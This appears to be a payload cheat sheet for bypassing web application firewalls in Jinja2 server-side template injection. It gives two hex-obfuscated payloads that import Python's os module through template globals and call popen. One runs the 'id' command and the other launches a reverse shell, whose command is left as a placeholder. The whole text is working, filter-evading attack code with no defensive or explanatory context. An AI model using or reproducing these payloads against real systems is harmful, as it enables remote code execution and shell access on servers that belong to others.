SSTI WAF Bypass

1) Hex encoding

Template engine: Python Jinja2

Run id command

{{ self['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('\x69\x64')['\x72\x65\x61\x64']() }}

Run a reverse shell

{{ self['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('HEX_ENCODED_REVERSE_SHELL')['\x72\x65\x61\x64']() }}